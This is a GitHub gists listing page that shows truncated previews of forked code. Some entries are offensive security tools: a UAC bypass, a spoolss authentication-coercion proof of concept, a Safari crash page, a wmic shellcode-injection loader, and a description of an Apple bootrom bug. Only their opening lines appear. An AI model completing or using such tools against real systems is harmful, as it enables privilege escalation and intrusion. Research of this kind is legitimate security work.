ohio813’s gists

ohio813 / encryption_bookmarklet.js

Created October 29, 2019 19:35 — forked from lukestokes/encryption_bookmarklet.js

A JavaScript encryption/decryption bookmarklet based on https://qiita.com/useiichi/items/0786199ee61443df3af5

javascript:w=window.open('','Links','scrollbars,resizable,width=640,height=550');w.document.write('<!DOCTYPE%20html><html><head><meta%20charset="utf-8"/><script%20src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/core.js"></script><script%20src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/sha1.js"></script><script%20src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/hmac.js"></script><script%20src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/enc-base64.js"></script><script%20src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/cipher-core.js"></script><script%20src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/aes.js"></script><script%20src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/pbkdf2.js"></script><script%20type="text/javascript">function%20encrypt(){var%20encypt_text=document.getElementById("encypt-text").value;var%20pass=CryptoJS.enc.Utf8.parse(document.getElementById("encrypt-password").value);var%20salt=CryptoJS.lib.

ohio813 / apollo.txt

Created October 28, 2019 01:48 — forked from littlelailo/apollo.txt

Apple Bootrom Bug

	This bug was also called moonshine in the beginning
	Basically the following bug is present in all bootroms I have looked at:
	1. When usb is started to get an image over dfu, dfu registers an interface to handle all the commands and allocates a buffer for input and output
	2. if you send data to dfu the setup packet is handled by the main code which then calls out to the interface code
	3. the interface code verifies that wLength is shorter than the input output buffer length and if that's the case it updates a pointer passed as an argument with a pointer to the input output buffer
	4. it then returns wLength which is the length it wants to recieve into the buffer
	5. the usb main code then updates a global var with the length and gets ready to recieve the data packages
	6. if a data package is recieved it gets written to the input output buffer via the pointer which was passed as an argument and another global variable is used to keep track of how many bytes were recieved already
	7. if all the data was recieved th

ohio813 / akagi_58a.c

Created October 24, 2019 18:33 — forked from hfiref0x/akagi_58a.c

UAC bypass using EditionUpgradeManager COM interface


	typedef interface IEditionUpgradeManager IEditionUpgradeManager;

	typedef struct IEditionUpgradeManagerVtbl {

	BEGIN_INTERFACE

	HRESULT(STDMETHODCALLTYPE *QueryInterface)(
	__RPC__in IEditionUpgradeManager * This,
	__RPC__in REFIID riid,

ohio813 / AES.js

Created October 14, 2019 20:34 — forked from victornpb/AES.js

	/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
	/* AES implementation in JavaScript (c) Chris Veness 2005-2014 / MIT Licence */
	/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */

	/* jshint node:true // global define */
	'use strict';


	/**
	* AES (Rijndael cipher) encryption routines,

ohio813 / process_image_logging.ps1

Created February 24, 2019 19:07 — forked from mattifestation/process_image_logging.ps1

	# These values were obtained from: logman query providers Microsoft-Windows-Kernel-Process
	$WINEVENT_KEYWORD_PROCESS = 0x10
	$WINEVENT_KEYWORD_IMAGE = 0x40

	# Normally when you enable an analytic log, all keywords are logged which can be veeeeerrrrryy noisy.
	# I'm going to limit collection to only image and process event
	$KernelProcessLog = New-Object -TypeName System.Diagnostics.Eventing.Reader.EventLogConfiguration -ArgumentList 'Microsoft-Windows-Kernel-Process/Analytic'
	$KernelProcessLog.ProviderKeywords = ($WINEVENT_KEYWORD_PROCESS -bor $WINEVENT_KEYWORD_IMAGE)
	$KernelProcessLog.ProviderLevel = 0xFF
	$KernelProcessLog.IsEnabled = $true

ohio813 / PSProcmon.psm1

Created February 24, 2019 19:02 — forked from mattifestation/PSProcmon.psm1

	# These keyword values can be obtained with: logman query providers Microsoft-Windows-Kernel-Registry
	[Flags()]
	enum RegistryOptions {
	CloseKey = 0x00000001
	QuerySecurityKey = 0x00000002
	SetSecurityKey = 0x00000004
	EnumerateValueKey = 0x00000010
	QueryMultipleValueKey = 0x00000020
	SetInformationKey = 0x00000040
	FlushKey = 0x00000080

ohio813 / dementor.py

Created October 12, 2018 13:13 — forked from 3xocyte/dementor.py

rough PoC to connect to spoolss to elicit machine account authentication

	#!/usr/bin/env python

	# abuse cases and better implementation from the original discoverer: https://github.com/leechristensen/SpoolSample
	# some code from https://www.exploit-db.com/exploits/2879/

	import os
	import sys
	import argparse
	import binascii
	import ConfigParser

ohio813 / peb.c

Created September 20, 2018 17:58 — forked from Wack0/peb.c

Getting a pointer to the PEB in C, for every architecture that NT was ported to (where at least one build of the port was leaked/released)

	// Gets a pointer to the PEB for x86, x64, ARM, ARM64, IA64, Alpha AXP, MIPS, and PowerPC.

	// This relies on MS-compiler intrinsics.
	// It has only been tested on x86/x64/ARMv7.

	inline PEB* NtCurrentPeb() {
	#ifdef _M_X64
	return (PEB*)(__readgsqword(0x60));
	#elif _M_IX86
	return (PEB*)(__readfsdword(0x30));

ohio813 / safari-ripper.html

Last active September 15, 2018 18:56

Safari Ripper ☠️ (Original tweet: https://twitter.com/pwnsdx/status/1040944750973595649, try it: https://cdn.rawgit.com/pwnsdx/ce64de2760996a6c432f06d612e33aea/raw/23f2faa0aadb4babbfd228c8bb32a26a8c51c741/safari-ripper.html)

	<!DOCTYPE html>
	<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<style>
	body {
	background: repeat url('data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/7QCIUGhvdG9zaG9wIDMuMAA4QklNBAQAAAAAAGscAVoAAxslRxwCAAACAAAcAnQAV8KpIENoYWV5b3VuZ1dpbGxOZXZlckNoYWVvbGQgLSBodHRwOi8vd3d3LnJlZGJ1YmJsZS5jb20vcGVvcGxlL0NoYWV5b3VuZ1dpbGxOZXZlckNoYWVvbAD/4gxYSUNDX1BST0ZJTEUAAQEAAAxITGlubwIQAABtbnRyUkdCIFhZWiAHzgACAAkABgAxAABhY3NwTVNGVAAAAABJRUMgc1JHQgAAAAAAAAAAAAAAAAAA9tYAAQAAAADTLUhQICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABFjcHJ0AAABUAAAADNkZXNjAAABhAAAAGx3dHB0AAAB8AAAABRia3B0AAACBAAAABRyWFlaAAACGAAAABRnWFlaAAACLAAAABRiWFlaAAACQAAAABRkbW5kAAACVAAAAHBkbWRkAAACxAAAAIh2dWVkAAADTAAAAIZ2aWV3AAAD1AAAACRsdW1pAAAD+AAAABRtZWFzAAAEDAAAACR0ZWNoAAAEMAAAAAxyVFJDAAAEPAAACAxnVFJDAAAEPAAACAxiVFJDAAAEPAAACAx0ZXh0AAAAAENvcHlyaWdodCAoYykgMTk5OCBIZXdsZXR0LVBhY2thcmQgQ29tcGFueQAAZGVzYwAAAAAAAAASc1JHQiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAAABJzUkdCIElFQzYxOTY2LTIuMQAAAAAAAA

ohio813 / scx64.cs

Created August 30, 2018 15:08

wmic Shellcode via XSL


	using System;
	using System.Reflection;
	using System.Diagnostics;
	using System.Runtime.InteropServices;


	public class ApcInjectionNewProcess
	{
	public ApcInjectionNewProcess()